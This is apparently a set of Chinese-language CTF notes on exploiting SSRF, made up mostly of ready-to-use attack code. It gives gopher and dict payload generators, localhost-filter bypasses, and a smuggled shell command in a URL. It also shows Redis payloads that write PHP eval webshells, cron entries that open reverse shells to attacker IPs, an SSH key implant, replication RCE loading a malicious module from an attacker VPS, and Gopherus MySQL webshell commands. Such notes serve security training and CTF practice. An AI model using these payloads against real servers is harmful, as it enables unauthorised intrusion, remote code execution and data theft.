SSRF

HTTP包转 gopher

SSRF 转换 code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# -*- coding: utf-8 -*
import urllib.parse

payload ="""POST /Manage HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

cmd=env"""
new = urllib.parse.quote(payload, safe='')
new = new.replace('%0A', '%0D%0A')
print(new)
result = 'gopher://0.0.0.0:8000/' + '_' + new
print(result)
result = urllib.parse.quote(result, safe='')
print(result)

注意,GET请求结束的时候需要带换行。第一次编码给 gopher 的换行要是 %0d%0a

绕过 Trick

对本机IP的替代

1
2
3
4
5
6
7
8
9
10
11
12
13
14
localhost
0.0.0.0=127.0.0.1
127.0000000000000.001=127.0.0.1
0=127.0.0.1 //在Linux中,0也会被解析成127.0.0.1。在windows 和 macos 中一般解析成0.0.0.0
127.201.205.254=127.0.0.1 //127.0.0.0/8是一个环回地址网段,从127.0.0.1 ~ 127.255.255.254都表示localhost
http://example.com@127.0.0.1
127.0.0.1就是127.⓿.⓿.1
http://①②⑦.⓪.⓪.① locⒶlhost
http://[::]:80/
127.0.0.1用不同进制可以表示为
10进制 http://2130706433
8进制 http://017700000001
16进制 http://0x7F000001
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

白名单过滤

[SSRF漏洞深入利用与防御方案绕过技巧_ssrf绕过-CSDN博客](https://blog.csdn.net/weixin_39190897/article/details/140337605?ops_request_misc=&request_id=&biz_id=102&utm_term=ssrf 白名单绕过&utm_medium=distribute.pc_search_result.none-task-blog-2allsobaiduweb~default-1-140337605.142^v102^pc_search_result_base8)

1
2
3
url 的构成:

[WAY]://username:password@host/path/param/#锚(不传入服务器)
  • @字符在主机名之前的URL中嵌入凭据

  • 双重编码字符(Nodejs 特性),url.parse 有个特性,

image-20251016142353802

意思是@前,也就是URL中表示用户名和密码的字段会被二次解码,所以可以构造如下payload即可闭合引号。

1
url=http://a%2527@a;cp$IFS/flag$IFS/tmp/log%00

打重定向

1
2
<?php
header("Location: https://www.baidu.com/");

# 绕过拼接

JSON 我的灵魂 - PUCTF 2025 Web 挑战赛题解 | siunam 的网站 — JSON My Soul - PUCTF 2025 Web Challenge Writeup | siunam’s Website

1
http://api@localhost/flag# => http://api@localhost/flag#/app/weather

SSRF 打数据库

redis

写webshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# 脚本2
# 写入shell

import urllib.parse
protocol = "gopher://"
ip = "127.0.0.1"
port = "6379"
shell = "\n\n<?php eval($_POST[\"f4ke\"]);?>\n\n"
filename = "5he1l.php"
path = "/var/www/html"
passwd = ""
cmd = ["auth 123123",
"flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save",
"quit"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload = protocol + ip + ":" + port + "/_"
def redis_format(arr):
CRLF = "\r\n"
redis_arr = arr.split(" ")
cmd = ""
cmd += "*" + str(len(redis_arr))
for x in redis_arr:
cmd += CRLF + "$" + str(len((x.replace("${IFS}"," ")))) + CRLF + x.replace("${IFS}"," ")
cmd += CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += urllib.parse.quote(redis_format(x))
# print(payload)
print(urllib.parse.quote(payload))

payload:

1
2
3
4
5
6
flushall
AUTH 20220311
CONFIG SET dir /var/www/html
SET x '<?@eval($_POST[1]);?>'
CONFIG SET dbfilename a.php
SAVE
1
2
3
4
dict://172.24.0.3:6379/config:set:/var/www/html
dict://172.24.0.3:6379/config:set:dbfilename:shell.php
dict://172.24.0.3:6379/set:webshell:"<?php phpinfo();?>"
dict://172.24.0.3:6379/save
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import urllib
protocol="gopher://"
ip="173.13.144.12" // 运行有redis的主机ip
port="6379"
shell="\n\n<?php system(\"cat /flag\");?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload

写计划任务

payload:

1
2
/var/spool/cron 这个文件负责安排由系统管理员制定的维护系统以及其他任务的crontab
/etc/crontab 放的是对应周期的任务dalily、hourly 、monthly、weekly
1
2
3
4
5
flushall
set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.44/7777 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
1
2
3
4
flushall
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.244.129/7777 0>&1\n\n"
config set dir /var/spool/cron/crontabs/
config set dbfilename root
1
2
3
4
5
flushall
set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/ip/port 0>&1\n\n'
config set dir /var/spool/crontab/root
config set dbfilename root
save
1
2
3
4
dict://127.0.0.1:6379/config:set:dbfilename:root
dict://127.0.0.1:6379/config:set:dir:/var/spool/cron
dict://127.0.0.1:6379/set:test:"\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.10.10.10/1234 0>&1\n\n"
dict://127.0.0.1:6379/save

写公钥私钥连接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mkdir -p ~/.ssh  # 创建目录
chmod 700 ~/.ssh # 设置权限
ssh-keygen -t rsa
cd /root/.ssh/
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
cat key.txt | redis-cli -h 目标IP -x set xxx


config set dir /root/.ssh/ # 设置存储目录为 SSH 密钥目录
config set dbfilename authorized_keys # 设置文件名为 authorized_keys
save # 强制保存,写入公钥


cd /root/.ssh/
ssh -i id_rsa root@目标IP

主从复制

自动化工具

Ubuntu上安装docker的详细教程、docker常用命令介绍_ubuntu安装docker-CSDN博客

Redis基于主从复制的RCE 4.x/5.x 复现-CSDN博客

1
2
3
docker pull damonevking/redis5.0
docker run -p 6379:6379 -d damonevking/redis5.0 redis-server
python3 redis-rce.py -r targetip -L yourip -f exp.so
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#查看当前redis的相关配置
ssrf.php?url=dict://192.168.172.131:6379/info

#设置备份文件名
ssrf.php?url=dict://192.168.172.131:6379/config:set:dbfilename:exp.so

#连接恶意Redis服务器
ssrf.php?url=dict://192.168.172.131:6379/slaveof:192.168.172.129:1234

#加载恶意模块
ssrf.php?url=dict://192.168.172.131:6379/module:load:./exp.so

#切断主从复制
ssrf.php?url=dict://192.168.172.131:6379/slaveof:no:one

#执行系统命令
ssrf.php?url=dict://192.168.172.131:6379/system.rev:192.168.172.129:9999
手动上传 exp.so

vnctf2022 web复现 - KingBridge - 博客园

爆破 redis 端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function Curl($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, true );
$result = curl_exec($ch);
curl_close($ch);
if($result!=''){
echo $result.$url;
}

}
for($i=0;$i<9999;$i++){
Curl("dict://127.0.0.1:$i/info");
}

上传 exp.so

1
2
3
4
5
6
7
8
9
10
11
12
13
function Curl($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, true );
$result = curl_exec($ch);
curl_close($ch);

if(file_put_contents("exp.so",$result)){
print("success");
}

}
Curl("http://vps-ip/exp.so");

gopher 打主从复制 RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
load='''auth ye_w4nt_a_gir1fri3nd
module load ./exp.so
system.exec 'whoami'
quit
'''.replace('\n','\r\n')

payloads = '''
function Curl($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, true );
$result = curl_exec($ch);
curl_close($ch);

if($result!=''){
print($result);
}

}
Curl("gopher://127.0.0.1:8888/_'''+parse.quote(load)+'''");
'''.strip()

mysql

直接使用自动化工具 Gophers。

自动化工具Gopherus

1
2
3
4
5
6
7
python2 gopherus.py --exploit mysql
root
select "<?php eval($_POST[1]); ?>" into outfile '/var/www/html/shell.php';

python2 gopherus.py --exploit redis
<?php eval($_POST[1]); ?>
#写到 /var/www/html